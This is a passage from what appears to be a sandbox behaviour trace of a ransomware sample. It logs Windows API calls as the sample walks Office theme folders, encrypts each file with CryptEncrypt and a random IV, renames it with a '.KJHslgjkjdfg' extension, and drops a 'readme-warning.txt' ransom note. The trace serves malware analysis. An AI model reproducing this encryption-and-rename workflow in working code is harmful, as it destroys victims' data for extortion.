Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.611] CloseHandle (hObject=0x114) returned 1 [0171.615] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.615] GetProcessHeap () returned 0x2ef0000 [0171.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.615] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.615] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.615] GetProcessHeap () returned 0x2ef0000 [0171.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.615] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.615] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.615] GetProcessHeap () returned 0x2ef0000 [0171.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.615] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.615] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.615] GetProcessHeap () returned 0x2ef0000 [0171.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.615] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.615] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.615] GetProcessHeap () returned 0x2ef0000 [0171.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.615] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.615] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.616] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.616] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.616] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.616] RegCloseKey (hKey=0x114) returned 0x0 [0171.616] GetProcessHeap () returned 0x2ef0000 [0171.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.616] GetProcessHeap () returned 0x2ef0000 [0171.616] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.616] GetProcessHeap () returned 0x2ef0000 [0171.616] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.616] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.616] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.616] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.616] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.616] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.617] GetProcessHeap () returned 0x2ef0000 [0171.617] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.617] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.617] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.617] GetProcessHeap () returned 0x2ef0000 [0171.617] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.617] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt") returned 81 [0171.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.617] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.618] CloseHandle (hObject=0x114) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.619] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.619] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0171.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.619] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0171.619] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.619] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0171.619] GetProcessHeap () returned 0x2ef0000 [0171.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0171.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.620] GetProcessHeap () returned 0x2ef0000 [0171.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.620] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.620] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.620] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0171.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.623] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.623] GetProcessHeap () returned 0x2ef0000 [0171.623] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.623] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.623] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.623] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.623] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.623] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.623] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.623] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.623] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.623] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.624] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc2ba, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xc2ba, lpOverlapped=0x0) returned 1 [0171.625] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xc2c0, dwBufLen=0xc2c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xc2c0) returned 1 [0171.625] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.625] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc2c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xc2c0, lpOverlapped=0x0) returned 1 [0171.626] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.626] SetEndOfFile (hFile=0x114) returned 1 [0171.628] GetProcessHeap () returned 0x2ef0000 [0171.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.628] GetProcessHeap () returned 0x2ef0000 [0171.628] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.628] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.kjhslgjkjdfg")) returned 1 [0171.634] CloseHandle (hObject=0x114) returned 1 [0171.635] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0171.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.635] GetProcessHeap () returned 0x2ef0000 [0171.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.635] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.635] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0171.637] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.637] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.637] GetProcessHeap () returned 0x2ef0000 [0171.637] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.637] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.637] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.637] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.637] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.637] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.637] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.638] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.638] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.638] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x227, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x227, lpOverlapped=0x0) returned 1 [0171.638] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0171.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.638] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0171.638] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.638] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.638] SetEndOfFile (hFile=0x114) returned 1 [0171.640] GetProcessHeap () returned 0x2ef0000 [0171.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.641] GetProcessHeap () returned 0x2ef0000 [0171.641] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.641] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.kjhslgjkjdfg")) returned 1 [0171.646] CloseHandle (hObject=0x114) returned 1 [0171.647] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0171.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.647] GetProcessHeap () returned 0x2ef0000 [0171.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.647] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.647] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.649] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.649] GetProcessHeap () returned 0x2ef0000 [0171.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.649] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.649] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.649] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.650] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: 